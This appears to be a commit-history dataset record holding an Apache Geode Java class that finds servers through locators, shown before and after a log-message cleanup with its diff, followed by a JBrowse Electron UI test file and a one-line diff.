import org.apache.geode.internal.logging.LogService;
/**
* A connection source which uses locators to find the least loaded server.
*
* @since GemFire 5.7
*
*/
public class AutoConnectionSourceImpl implements ConnectionSource {
private static final Logger logger = LogService.getLogger();
private TcpClient tcpClient;
@Immutable
private static final LocatorListRequest LOCATOR_LIST_REQUEST = new LocatorListRequest();
@Immutable
private static final Comparator<HostAddress> SOCKET_ADDRESS_COMPARATOR =
(address, otherAddress) -> {
InetSocketAddress inetSocketAddress = address.getSocketInetAddress();
InetSocketAddress otherInetSocketAddress = otherAddress.getSocketInetAddress();
// shouldn't happen, but if it does we'll say they're the same.
if (inetSocketAddress.getAddress() == null
|| otherInetSocketAddress.getAddress() == null) {
return 0;
}
int result = inetSocketAddress.getAddress().getCanonicalHostName()
.compareTo(otherInetSocketAddress.getAddress().getCanonicalHostName());
if (result != 0) {
return result;
} else {
return inetSocketAddress.getPort() - otherInetSocketAddress.getPort();
}
};
private final List<HostAddress> initialLocators;
private final String serverGroup;
private AtomicReference<LocatorList> locators = new AtomicReference<>();
private AtomicReference<LocatorList> onlineLocators = new AtomicReference<>();
protected InternalPool pool;
private final int connectionTimeout;
private long locatorUpdateInterval;
private volatile LocatorDiscoveryCallback locatorCallback = new LocatorDiscoveryCallbackAdapter();
private volatile boolean isBalanced = true;
/**
* key is the InetSocketAddress of the locator. value will be an exception if we have already
* found the locator to be dead. value will be null if we last saw it alive.
*/
private final Map<InetSocketAddress, Exception> locatorState = new HashMap<>();
public AutoConnectionSourceImpl(List<HostAddress> contacts, String serverGroup,
int handshakeTimeout) {
this.locators.set(new LocatorList(new ArrayList<>(contacts)));
this.onlineLocators.set(new LocatorList(Collections.emptyList()));
this.initialLocators = Collections.unmodifiableList(this.locators.get().getLocatorAddresses());
this.connectionTimeout = handshakeTimeout;
this.serverGroup = serverGroup;
this.tcpClient = new TcpClient();
}
@Override
public boolean isBalanced() {
return isBalanced;
}
@Override
public List<ServerLocation> getAllServers() {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return null;
}
GetAllServersRequest request = new GetAllServersRequest(serverGroup);
GetAllServersResponse response = (GetAllServersResponse) queryLocators(request);
if (response != null) {
return response.getServers();
} else {
return null;
}
}
@Override
public ServerLocation findReplacementServer(ServerLocation currentServer,
Set<ServerLocation> excludedServers) {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return null;
}
ClientReplacementRequest request =
new ClientReplacementRequest(currentServer, excludedServers, serverGroup);
ClientConnectionResponse response = (ClientConnectionResponse) queryLocators(request);
if (response == null) {
throw new NoAvailableLocatorsException(
"Unable to connect to any locators in the list " + locators);
}
return response.getServer();
}
@Override
public ServerLocation findServer(Set excludedServers) {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return null;
}
ClientConnectionRequest request = new ClientConnectionRequest(excludedServers, serverGroup);
ClientConnectionResponse response = (ClientConnectionResponse) queryLocators(request);
if (response == null) {
throw new NoAvailableLocatorsException(
"Unable to connect to any locators in the list " + locators);
}
return response.getServer();
}
@Override
public List<ServerLocation> findServersForQueue(Set<ServerLocation> excludedServers,
int numServers, ClientProxyMembershipID proxyId, boolean findDurableQueue) {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return new ArrayList<>();
}
QueueConnectionRequest request = new QueueConnectionRequest(proxyId, numServers,
excludedServers, serverGroup, findDurableQueue);
QueueConnectionResponse response = (QueueConnectionResponse) queryLocators(request);
if (response == null) {
throw new NoAvailableLocatorsException(
"Unable to connect to any locators in the list " + locators);
}
return response.getServers();
}
@Override
public List<InetSocketAddress> getOnlineLocators() {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return Collections.emptyList();
}
return Collections.unmodifiableList(new ArrayList<>(onlineLocators.get().getLocators()));
}
private ServerLocationResponse queryOneLocator(HostAddress locator,
ServerLocationRequest request) {
return queryOneLocatorUsingConnection(locator, request, tcpClient);
}
ServerLocationResponse queryOneLocatorUsingConnection(HostAddress locator,
ServerLocationRequest request,
TcpClient locatorConnection) {
Object returnObj = null;
try {
pool.getStats().incLocatorRequests();
returnObj = locatorConnection.requestToServer(locator.getSocketInetAddressNoLookup(), request,
connectionTimeout, true);
ServerLocationResponse response = (ServerLocationResponse) returnObj;
pool.getStats().incLocatorResponses();
if (response != null) {
reportLiveLocator(locator.getSocketInetAddressNoLookup());
}
return response;
} catch (IOException | ToDataException ioe) {
if (ioe instanceof ToDataException) {
logger.warn("Encountered ToDataException when communicating with a locator. "
+ "This is expected if the locator is shutting down.", ioe);
}
reportDeadLocator(locator.getSocketInetAddressNoLookup(), ioe);
updateLocatorInLocatorList(locator);
return null;
} catch (ClassNotFoundException e) {
logger.warn("Received exception from locator {}", locator, e);
return null;
} catch (ClassCastException e) {
if (logger.isDebugEnabled()) {
logger.debug("Received odd response object from the locator: {}", returnObj);
}
reportDeadLocator(locator.getSocketInetAddressNoLookup(), e);
return null;
}
}
/**
* If connecting to the locator fails with an IOException, this may be because the locator's IP
* has changed. Add the locator back to the list of locators using host address rather than IP.
* This will cause another DNS lookup, hopefully finding the locator.
*
*/
protected void updateLocatorInLocatorList(HostAddress locator) {
if (locator.getSocketInetAddressNoLookup().getHostName() != null && !locator.isIpString()) {
LocatorList locatorList = locators.get();
List<HostAddress> newLocatorsList = new ArrayList<>();
for (HostAddress tloc : locatorList.getLocatorAddresses()) {
if (tloc.equals(locator)) {
InetSocketAddress changeLoc = new InetSocketAddress(locator.getHostName(),
locator.getSocketInetAddressNoLookup().getPort());
HostAddress hostAddress = new HostAddress(changeLoc, locator.getHostName());
newLocatorsList.add(hostAddress);
} else {
newLocatorsList.add(tloc);
}
}
logger.info("updateLocatorInLocatorList locator list from: {} to {}",
locatorList.getLocators(), newLocatorsList);
LocatorList newLocatorList = new LocatorList(newLocatorsList);
locators.set(newLocatorList);
}
}
protected List<InetSocketAddress> getCurrentLocators() {
return locators.get().getLocators();
}
private ServerLocationResponse queryLocators(ServerLocationRequest request) {
Iterator controllerItr = locators.get().iterator();
ServerLocationResponse response;
final boolean isDebugEnabled = logger.isDebugEnabled();
do {
HostAddress hostAddress = (HostAddress) controllerItr.next();
if (isDebugEnabled) {
logger.debug("Sending query to locator {}: {}", hostAddress, request);
}
response = queryOneLocator(hostAddress, request);
if (isDebugEnabled) {
logger.debug("Received query response from locator {}: {}", hostAddress, response);
}
} while (controllerItr.hasNext() && (response == null || !response.hasResult()));
return response;
}
private void updateLocatorList(LocatorListResponse response) {
if (response == null)
return;
isBalanced = response.isBalanced();
List<ServerLocation> locatorResponse = response.getLocators();
List<HostAddress> newLocatorAddresses = new ArrayList<>(locatorResponse.size());
List<HostAddress> newOnlineLocators = new ArrayList<>(locatorResponse.size());
Set<HostAddress> badLocators = new HashSet<>(initialLocators);
for (ServerLocation locator : locatorResponse) {
InetSocketAddress address = new InetSocketAddress(locator.getHostName(), locator.getPort());
HostAddress hostAddress = new HostAddress(address, locator.getHostName());
newLocatorAddresses.add(hostAddress);
newOnlineLocators.add(hostAddress);
badLocators.remove(hostAddress);
}
addbadLocators(newLocatorAddresses, badLocators);
LocatorList newLocatorList = new LocatorList(newLocatorAddresses);
LocatorList oldLocators = locators.getAndSet(newLocatorList);
onlineLocators.set(new LocatorList(newOnlineLocators));
pool.getStats().setLocatorCount(newLocatorAddresses.size());
if (logger.isInfoEnabled()
|| !locatorCallback.getClass().equals(LocatorDiscoveryCallbackAdapter.class)) {
List<InetSocketAddress> newLocators = newLocatorList.getLocators();
ArrayList<InetSocketAddress> removedLocators = new ArrayList<>(oldLocators.getLocators());
removedLocators.removeAll(newLocators);
ArrayList<InetSocketAddress> addedLocators = new ArrayList<>(newLocators);
addedLocators.removeAll(oldLocators.getLocators());
if (!addedLocators.isEmpty()) {
locatorCallback.locatorsDiscovered(Collections.unmodifiableList(addedLocators));
logger.info("AutoConnectionSource discovered new locators {}", addedLocators);
}
if (!removedLocators.isEmpty()) {
locatorCallback.locatorsRemoved(Collections.unmodifiableList(removedLocators));
logger.info("AutoConnectionSource dropping previously discovered locators {}",
removedLocators);
}
}
}
/**
* This method will add bad locator only when locator with hostname and port is not already in
* list.
*/
protected void addbadLocators(List<HostAddress> newLocators, Set<HostAddress> badLocators) {
for (HostAddress badloc : badLocators) {
boolean addIt = true;
for (HostAddress goodloc : newLocators) {
boolean isSameHost = badloc.getHostName().equals(goodloc.getHostName());
if (isSameHost && badloc.getPort() == goodloc.getPort()) {
// ip has been changed so don't add this in current
// list
addIt = false;
break;
}
}
if (addIt) {
newLocators.add(badloc);
}
}
}
@Override
public void start(InternalPool pool) {
this.pool = pool;
pool.getStats().setInitialContacts((locators.get()).size());
this.locatorUpdateInterval = Long.getLong(
DistributionConfig.GEMFIRE_PREFIX + "LOCATOR_UPDATE_INTERVAL", pool.getPingInterval());
if (locatorUpdateInterval > 0) {
pool.getBackgroundProcessor().scheduleWithFixedDelay(new UpdateLocatorListTask(), 0,
locatorUpdateInterval, TimeUnit.MILLISECONDS);
logger.info("AutoConnectionSource UpdateLocatorListTask started with interval={} ms.",
new Object[] {this.locatorUpdateInterval});
}
}
@Override
public void stop() {
}
public void setLocatorDiscoveryCallback(LocatorDiscoveryCallback callback) {
this.locatorCallback = callback;
}
private synchronized void reportLiveLocator(InetSocketAddress l) {
Object prevState = this.locatorState.put(l, null);
if (prevState != null) {
logger.info("Communication has been restored with locator {}.", l);
}
}
private synchronized void reportDeadLocator(InetSocketAddress l, Exception ex) {
Object prevState = this.locatorState.put(l, ex);
if (prevState == null) {
if (ex instanceof ConnectException) {
logger.info("locator {} is not running.", l, ex);
} else {
logger.info("Communication with locator {} failed", l, ex);
}
}
}
long getLocatorUpdateInterval() {
return this.locatorUpdateInterval;
}
/**
* A list of locators, which remembers the last known good locator.
*/
private static class LocatorList {
protected final List<HostAddress> locators;
AtomicInteger currentLocatorIndex = new AtomicInteger();
LocatorList(List<HostAddress> locators) {
locators.sort(SOCKET_ADDRESS_COMPARATOR);
this.locators = Collections.unmodifiableList(locators);
}
public List<InetSocketAddress> getLocators() {
List<InetSocketAddress> locs = new ArrayList<>();
for (HostAddress la : locators) {
locs.add(la.getSocketInetAddress());
}
return locs;
}
List<HostAddress> getLocatorAddresses() {
return locators;
}
public int size() {
return locators.size();
}
public Iterator<HostAddress> iterator() {
return new LocatorIterator();
}
@Override
public String toString() {
return locators.toString();
}
/**
* An iterator which iterates all of the controllers, starting at the last known good
* controller.
*
*/
protected class LocatorIterator implements Iterator<HostAddress> {
private int startLocator = currentLocatorIndex.get();
private int locatorNum = 0;
@Override
public boolean hasNext() {
return locatorNum < locators.size();
}
@Override
public HostAddress next() {
if (!hasNext()) {
return null;
} else {
int index = (locatorNum + startLocator) % locators.size();
HostAddress nextLocator = locators.get(index);
currentLocatorIndex.set(index);
locatorNum++;
return nextLocator;
}
}
@Override
public void remove() {
throw new UnsupportedOperationException();
}
}
}
protected class UpdateLocatorListTask extends PoolTask {
@Override
public void run2() {
if (pool.getCancelCriterion().isCancelInProgress()) {
return;
}
LocatorListResponse response = (LocatorListResponse) queryLocators(LOCATOR_LIST_REQUEST);
updateLocatorList(response);
}
}
}
| geode-core/src/main/java/org/apache/geode/cache/client/internal/AutoConnectionSourceImpl.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional information regarding
* copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package org.apache.geode.cache.client.internal;
import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.logging.log4j.Logger;
import org.apache.geode.ToDataException;
import org.apache.geode.annotations.Immutable;
import org.apache.geode.cache.client.NoAvailableLocatorsException;
import org.apache.geode.cache.client.internal.PoolImpl.PoolTask;
import org.apache.geode.cache.client.internal.locator.ClientConnectionRequest;
import org.apache.geode.cache.client.internal.locator.ClientConnectionResponse;
import org.apache.geode.cache.client.internal.locator.ClientReplacementRequest;
import org.apache.geode.cache.client.internal.locator.GetAllServersRequest;
import org.apache.geode.cache.client.internal.locator.GetAllServersResponse;
import org.apache.geode.cache.client.internal.locator.LocatorListRequest;
import org.apache.geode.cache.client.internal.locator.LocatorListResponse;
import org.apache.geode.cache.client.internal.locator.QueueConnectionRequest;
import org.apache.geode.cache.client.internal.locator.QueueConnectionResponse;
import org.apache.geode.cache.client.internal.locator.ServerLocationRequest;
import org.apache.geode.cache.client.internal.locator.ServerLocationResponse;
import org.apache.geode.distributed.internal.DistributionConfig;
import org.apache.geode.distributed.internal.ServerLocation;
import org.apache.geode.distributed.internal.membership.gms.membership.HostAddress;
import org.apache.geode.distributed.internal.tcpserver.TcpClient;
import org.apache.geode.internal.cache.tier.sockets.ClientProxyMembershipID;
import org.apache.geode.internal.logging.LogService;
/**
* A connection source which uses locators to find the least loaded server.
*
* @since GemFire 5.7
*
*/
public class AutoConnectionSourceImpl implements ConnectionSource {
private static final Logger logger = LogService.getLogger();
private TcpClient tcpClient;
@Immutable
private static final LocatorListRequest LOCATOR_LIST_REQUEST = new LocatorListRequest();
@Immutable
private static final Comparator<HostAddress> SOCKET_ADDRESS_COMPARATOR =
(address, otherAddress) -> {
InetSocketAddress inetSocketAddress = address.getSocketInetAddress();
InetSocketAddress otherInetSocketAddress = otherAddress.getSocketInetAddress();
// shouldn't happen, but if it does we'll say they're the same.
if (inetSocketAddress.getAddress() == null
|| otherInetSocketAddress.getAddress() == null) {
return 0;
}
int result = inetSocketAddress.getAddress().getCanonicalHostName()
.compareTo(otherInetSocketAddress.getAddress().getCanonicalHostName());
if (result != 0) {
return result;
} else {
return inetSocketAddress.getPort() - otherInetSocketAddress.getPort();
}
};
private final List<HostAddress> initialLocators;
private final String serverGroup;
private AtomicReference<LocatorList> locators = new AtomicReference<>();
private AtomicReference<LocatorList> onlineLocators = new AtomicReference<>();
protected InternalPool pool;
private final int connectionTimeout;
private long locatorUpdateInterval;
private volatile LocatorDiscoveryCallback locatorCallback = new LocatorDiscoveryCallbackAdapter();
private volatile boolean isBalanced = true;
/**
* key is the InetSocketAddress of the locator. value will be an exception if we have already
* found the locator to be dead. value will be null if we last saw it alive.
*/
private final Map<InetSocketAddress, Exception> locatorState = new HashMap<>();
public AutoConnectionSourceImpl(List<HostAddress> contacts, String serverGroup,
int handshakeTimeout) {
this.locators.set(new LocatorList(new ArrayList<>(contacts)));
this.onlineLocators.set(new LocatorList(Collections.emptyList()));
this.initialLocators = Collections.unmodifiableList(this.locators.get().getLocatorAddresses());
this.connectionTimeout = handshakeTimeout;
this.serverGroup = serverGroup;
this.tcpClient = new TcpClient();
}
@Override
public boolean isBalanced() {
return isBalanced;
}
@Override
public List<ServerLocation> getAllServers() {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return null;
}
GetAllServersRequest request = new GetAllServersRequest(serverGroup);
GetAllServersResponse response = (GetAllServersResponse) queryLocators(request);
if (response != null) {
return response.getServers();
} else {
return null;
}
}
@Override
public ServerLocation findReplacementServer(ServerLocation currentServer,
Set<ServerLocation> excludedServers) {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return null;
}
ClientReplacementRequest request =
new ClientReplacementRequest(currentServer, excludedServers, serverGroup);
ClientConnectionResponse response = (ClientConnectionResponse) queryLocators(request);
if (response == null) {
throw new NoAvailableLocatorsException(
"Unable to connect to any locators in the list " + locators);
}
return response.getServer();
}
@Override
public ServerLocation findServer(Set excludedServers) {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return null;
}
ClientConnectionRequest request = new ClientConnectionRequest(excludedServers, serverGroup);
ClientConnectionResponse response = (ClientConnectionResponse) queryLocators(request);
if (response == null) {
throw new NoAvailableLocatorsException(
"Unable to connect to any locators in the list " + locators);
}
return response.getServer();
}
@Override
public List<ServerLocation> findServersForQueue(Set<ServerLocation> excludedServers,
int numServers, ClientProxyMembershipID proxyId, boolean findDurableQueue) {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return new ArrayList<>();
}
QueueConnectionRequest request = new QueueConnectionRequest(proxyId, numServers,
excludedServers, serverGroup, findDurableQueue);
QueueConnectionResponse response = (QueueConnectionResponse) queryLocators(request);
if (response == null) {
throw new NoAvailableLocatorsException(
"Unable to connect to any locators in the list " + locators);
}
return response.getServers();
}
@Override
public List<InetSocketAddress> getOnlineLocators() {
if (PoolImpl.TEST_DURABLE_IS_NET_DOWN) {
return Collections.emptyList();
}
return Collections.unmodifiableList(new ArrayList<>(onlineLocators.get().getLocators()));
}
private ServerLocationResponse queryOneLocator(HostAddress locator,
ServerLocationRequest request) {
return queryOneLocatorUsingConnection(locator, request, tcpClient);
}
ServerLocationResponse queryOneLocatorUsingConnection(HostAddress locator,
ServerLocationRequest request,
TcpClient locatorConnection) {
Object returnObj = null;
try {
pool.getStats().incLocatorRequests();
returnObj = locatorConnection.requestToServer(locator.getSocketInetAddressNoLookup(), request,
connectionTimeout, true);
ServerLocationResponse response = (ServerLocationResponse) returnObj;
pool.getStats().incLocatorResponses();
if (response != null) {
reportLiveLocator(locator.getSocketInetAddressNoLookup());
}
return response;
} catch (IOException | ToDataException ioe) {
if (ioe instanceof ToDataException) {
logger.warn("Encountered ToDataException when communicating with a locator. "
+ "This is expected if the locator is shutting down.", ioe);
}
reportDeadLocator(locator.getSocketInetAddressNoLookup(), ioe);
updateLocatorInLocatorList(locator);
return null;
} catch (ClassNotFoundException e) {
logger.warn(String.format("Received exception from locator %s", locator),
e);
return null;
} catch (ClassCastException e) {
if (logger.isDebugEnabled()) {
logger.debug("Received odd response object from the locator: {}", returnObj);
}
reportDeadLocator(locator.getSocketInetAddressNoLookup(), e);
return null;
}
}
/**
* If connecting to the locator fails with an IOException, this may be because the locator's IP
* has changed. Add the locator back to the list of locators using host address rather than IP.
* This will cause another DNS lookup, hopefully finding the locator.
*
*/
protected void updateLocatorInLocatorList(HostAddress locator) {
if (locator.getSocketInetAddressNoLookup().getHostName() != null && !locator.isIpString()) {
LocatorList locatorList = locators.get();
List<HostAddress> newLocatorsList = new ArrayList<>();
for (HostAddress tloc : locatorList.getLocatorAddresses()) {
if (tloc.equals(locator)) {
InetSocketAddress changeLoc = new InetSocketAddress(locator.getHostName(),
locator.getSocketInetAddressNoLookup().getPort());
HostAddress hostAddress = new HostAddress(changeLoc, locator.getHostName());
newLocatorsList.add(hostAddress);
logger.info("updateLocatorInLocatorList changing locator list: loc form: " + locator
+ " ,loc to: " + changeLoc);
} else {
newLocatorsList.add(tloc);
}
}
logger.info("updateLocatorInLocatorList locator list from:" + locatorList.getLocators()
+ " to: " + newLocatorsList);
LocatorList newLocatorList = new LocatorList(newLocatorsList);
locators.set(newLocatorList);
}
}
protected List<InetSocketAddress> getCurrentLocators() {
return locators.get().getLocators();
}
private ServerLocationResponse queryLocators(ServerLocationRequest request) {
Iterator controllerItr = locators.get().iterator();
ServerLocationResponse response;
final boolean isDebugEnabled = logger.isDebugEnabled();
do {
HostAddress hostAddress = (HostAddress) controllerItr.next();
if (isDebugEnabled) {
logger.debug("Sending query to locator {}: {}", hostAddress, request);
}
response = queryOneLocator(hostAddress, request);
if (isDebugEnabled) {
logger.debug("Received query response from locator {}: {}", hostAddress, response);
}
} while (controllerItr.hasNext() && (response == null || !response.hasResult()));
return response;
}
private void updateLocatorList(LocatorListResponse response) {
if (response == null)
return;
isBalanced = response.isBalanced();
List<ServerLocation> locatorResponse = response.getLocators();
List<HostAddress> newLocatorAddresses = new ArrayList<>(locatorResponse.size());
List<HostAddress> newOnlineLocators = new ArrayList<>(locatorResponse.size());
Set<HostAddress> badLocators = new HashSet<>(initialLocators);
for (ServerLocation locator : locatorResponse) {
InetSocketAddress address = new InetSocketAddress(locator.getHostName(), locator.getPort());
HostAddress hostAddress = new HostAddress(address, locator.getHostName());
newLocatorAddresses.add(hostAddress);
newOnlineLocators.add(hostAddress);
badLocators.remove(hostAddress);
}
addbadLocators(newLocatorAddresses, badLocators);
LocatorList newLocatorList = new LocatorList(newLocatorAddresses);
LocatorList oldLocators = locators.getAndSet(newLocatorList);
onlineLocators.set(new LocatorList(newOnlineLocators));
pool.getStats().setLocatorCount(newLocatorAddresses.size());
if (logger.isInfoEnabled()
|| !locatorCallback.getClass().equals(LocatorDiscoveryCallbackAdapter.class)) {
List<InetSocketAddress> newLocators = newLocatorList.getLocators();
ArrayList<InetSocketAddress> removedLocators = new ArrayList<>(oldLocators.getLocators());
removedLocators.removeAll(newLocators);
ArrayList<InetSocketAddress> addedLocators = new ArrayList<>(newLocators);
addedLocators.removeAll(oldLocators.getLocators());
if (!addedLocators.isEmpty()) {
locatorCallback.locatorsDiscovered(Collections.unmodifiableList(addedLocators));
logger.info("AutoConnectionSource discovered new locators {}",
addedLocators);
}
if (!removedLocators.isEmpty()) {
locatorCallback.locatorsRemoved(Collections.unmodifiableList(removedLocators));
logger.info("AutoConnectionSource dropping previously discovered locators {}",
removedLocators);
}
}
}
/**
* This method will add bad locator only when locator with hostname and port is not already in
* list.
*/
protected void addbadLocators(List<HostAddress> newLocators, Set<HostAddress> badLocators) {
for (HostAddress badloc : badLocators) {
boolean addIt = true;
for (HostAddress goodloc : newLocators) {
boolean isSameHost = badloc.getHostName().equals(goodloc.getHostName());
if (isSameHost && badloc.getPort() == goodloc.getPort()) {
// ip has been changed so don't add this in current
// list
addIt = false;
break;
}
}
if (addIt) {
newLocators.add(badloc);
}
}
}
@Override
public void start(InternalPool pool) {
this.pool = pool;
pool.getStats().setInitialContacts((locators.get()).size());
this.locatorUpdateInterval = Long.getLong(
DistributionConfig.GEMFIRE_PREFIX + "LOCATOR_UPDATE_INTERVAL", pool.getPingInterval());
if (locatorUpdateInterval > 0) {
pool.getBackgroundProcessor().scheduleWithFixedDelay(new UpdateLocatorListTask(), 0,
locatorUpdateInterval, TimeUnit.MILLISECONDS);
logger.info("AutoConnectionSource UpdateLocatorListTask started with interval={} ms.",
new Object[] {this.locatorUpdateInterval});
}
}
@Override
public void stop() {
}
public void setLocatorDiscoveryCallback(LocatorDiscoveryCallback callback) {
this.locatorCallback = callback;
}
private synchronized void reportLiveLocator(InetSocketAddress l) {
Object prevState = this.locatorState.put(l, null);
if (prevState != null) {
logger.info("Communication has been restored with locator {}.",
l);
}
}
private synchronized void reportDeadLocator(InetSocketAddress l, Exception ex) {
Object prevState = this.locatorState.put(l, ex);
if (prevState == null) {
if (ex instanceof ConnectException) {
logger.info(String.format("locator %s is not running.", l), ex);
} else {
logger.info(String.format("Communication with locator %s failed with %s.", l, ex), ex);
}
}
}
long getLocatorUpdateInterval() {
return this.locatorUpdateInterval;
}
/**
* A list of locators, which remembers the last known good locator.
*/
private static class LocatorList {
protected final List<HostAddress> locators;
AtomicInteger currentLocatorIndex = new AtomicInteger();
LocatorList(List<HostAddress> locators) {
locators.sort(SOCKET_ADDRESS_COMPARATOR);
this.locators = Collections.unmodifiableList(locators);
}
public List<InetSocketAddress> getLocators() {
List<InetSocketAddress> locs = new ArrayList<>();
for (HostAddress la : locators) {
locs.add(la.getSocketInetAddress());
}
return locs;
}
List<HostAddress> getLocatorAddresses() {
return locators;
}
public int size() {
return locators.size();
}
public Iterator<HostAddress> iterator() {
return new LocatorIterator();
}
@Override
public String toString() {
return locators.toString();
}
/**
* An iterator which iterates all of the controllers, starting at the last known good
* controller.
*
*/
protected class LocatorIterator implements Iterator<HostAddress> {
private int startLocator = currentLocatorIndex.get();
private int locatorNum = 0;
@Override
public boolean hasNext() {
return locatorNum < locators.size();
}
@Override
public HostAddress next() {
if (!hasNext()) {
return null;
} else {
int index = (locatorNum + startLocator) % locators.size();
HostAddress nextLocator = locators.get(index);
currentLocatorIndex.set(index);
locatorNum++;
return nextLocator;
}
}
@Override
public void remove() {
throw new UnsupportedOperationException();
}
}
}
protected class UpdateLocatorListTask extends PoolTask {
@Override
public void run2() {
if (pool.getCancelCriterion().isCancelInProgress()) {
return;
}
LocatorListResponse response = (LocatorListResponse) queryLocators(LOCATOR_LIST_REQUEST);
updateLocatorList(response);
}
}
}
| GEODE-6810: Removed Superfluous Log Message
The log message is the same as the log message a few lines down which results in extra spam in the logs. Improved other logs in the same file (replaces calls to String.format(), unnecessary checks etc.)
| geode-core/src/main/java/org/apache/geode/cache/client/internal/AutoConnectionSourceImpl.java | GEODE-6810: Removed Superfluous Log Message | <ide><path>eode-core/src/main/java/org/apache/geode/cache/client/internal/AutoConnectionSourceImpl.java
<ide> updateLocatorInLocatorList(locator);
<ide> return null;
<ide> } catch (ClassNotFoundException e) {
<del> logger.warn(String.format("Received exception from locator %s", locator),
<del> e);
<add> logger.warn("Received exception from locator {}", locator, e);
<ide> return null;
<ide> } catch (ClassCastException e) {
<ide> if (logger.isDebugEnabled()) {
<ide> locator.getSocketInetAddressNoLookup().getPort());
<ide> HostAddress hostAddress = new HostAddress(changeLoc, locator.getHostName());
<ide> newLocatorsList.add(hostAddress);
<del> logger.info("updateLocatorInLocatorList changing locator list: loc form: " + locator
<del> + " ,loc to: " + changeLoc);
<ide> } else {
<ide> newLocatorsList.add(tloc);
<ide> }
<ide> }
<ide>
<del> logger.info("updateLocatorInLocatorList locator list from:" + locatorList.getLocators()
<del> + " to: " + newLocatorsList);
<add> logger.info("updateLocatorInLocatorList locator list from: {} to {}",
<add> locatorList.getLocators(), newLocatorsList);
<ide>
<ide> LocatorList newLocatorList = new LocatorList(newLocatorsList);
<ide> locators.set(newLocatorList);
<ide> addedLocators.removeAll(oldLocators.getLocators());
<ide> if (!addedLocators.isEmpty()) {
<ide> locatorCallback.locatorsDiscovered(Collections.unmodifiableList(addedLocators));
<del> logger.info("AutoConnectionSource discovered new locators {}",
<del> addedLocators);
<add> logger.info("AutoConnectionSource discovered new locators {}", addedLocators);
<ide> }
<ide> if (!removedLocators.isEmpty()) {
<ide> locatorCallback.locatorsRemoved(Collections.unmodifiableList(removedLocators));
<ide> private synchronized void reportLiveLocator(InetSocketAddress l) {
<ide> Object prevState = this.locatorState.put(l, null);
<ide> if (prevState != null) {
<del> logger.info("Communication has been restored with locator {}.",
<del> l);
<add> logger.info("Communication has been restored with locator {}.", l);
<ide> }
<ide> }
<ide>
<ide> Object prevState = this.locatorState.put(l, ex);
<ide> if (prevState == null) {
<ide> if (ex instanceof ConnectException) {
<del> logger.info(String.format("locator %s is not running.", l), ex);
<add> logger.info("locator {} is not running.", l, ex);
<ide> } else {
<del> logger.info(String.format("Communication with locator %s failed with %s.", l, ex), ex);
<add> logger.info("Communication with locator {} failed", l, ex);
<ide> }
<ide> }
<ide> } |
|
JavaScript | lgpl-2.1 | c734700ac483525c0a859e09e9ca4c50f2195910 | 0 | nathandunn/jbrowse,GMOD/jbrowse,nathandunn/jbrowse,GMOD/jbrowse,GMOD/jbrowse,nathandunn/jbrowse,GMOD/jbrowse,nathandunn/jbrowse,nathandunn/jbrowse,GMOD/jbrowse | import test from 'ava';
import {Application} from 'spectron';
import electronPath from 'electron';
import path from 'path';
test.beforeEach(async t => {
t.context.app = new Application({
path: electronPath,
args: [path.join(__dirname, '../..')],
env: {SPECTRON: '1'},
requireName: 'electronRequire'
});
await t.context.app.start();
});
test.afterEach.always(async t => {
await t.context.app.stop();
});
test('shows window', async t => {
const app = t.context.app;
await app.client.waitUntilWindowLoaded();
const win = app.browserWindow;
t.is(await app.client.getWindowCount(), 1);
t.false(await win.isMinimized());
t.false(await win.isDevToolsOpened());
t.true(await win.isVisible());
const {width, height} = await win.getBounds();
t.true(width > 0);
t.true(height > 0);
var text = await app.client.getText("#welcome");
t.is(text.substr(0,12), "Your JBrowse");
await app.client.click("#newOpen");
await app.client.click("#openFile");
await app.client.click("#dijit_form_Button_1");
await app.restart()
await app.client.waitUntilWindowLoaded()
text = await app.client.getText("#previousSessionsTable");
t.true(text != null);
await app.client.click("#previousSessionsTable");
});
| tests/electron_tests/spec.js | import test from 'ava';
import {Application} from 'spectron';
import electronPath from 'electron';
import path from 'path';
test.beforeEach(async t => {
t.context.app = new Application({
path: electronPath,
args: [path.join(__dirname, '../..')],
env: {SPECTRON: '1'},
requireName: 'electronRequire'
});
await t.context.app.start();
});
test.afterEach.always(async t => {
await t.context.app.stop();
});
test('shows window', async t => {
const app = t.context.app;
await app.client.waitUntilWindowLoaded();
const win = app.browserWindow;
t.is(await app.client.getWindowCount(), 1);
t.false(await win.isMinimized());
t.false(await win.isDevToolsOpened());
t.true(await win.isVisible());
const {width, height} = await win.getBounds();
t.true(width > 0);
t.true(height > 0);
var text = await app.client.getText("#welcome");
t.is(text.substr(0,12), "Your JBrowse");
await app.client.click("#newOpen");
await app.client.click("#openFile");
await app.client.click("#dijit_form_Button_1");
await app.restart()
await app.client.waitUntilWindowLoaded()
text = await app.client.getText("#previousSessionsTable");
t.true(text != null);
});
| Rename node
| tests/electron_tests/spec.js | Rename node | <ide><path>ests/electron_tests/spec.js
<ide> await app.client.waitUntilWindowLoaded()
<ide> text = await app.client.getText("#previousSessionsTable");
<ide> t.true(text != null);
<add> await app.client.click("#previousSessionsTable");
<ide> });
<ide> |
|
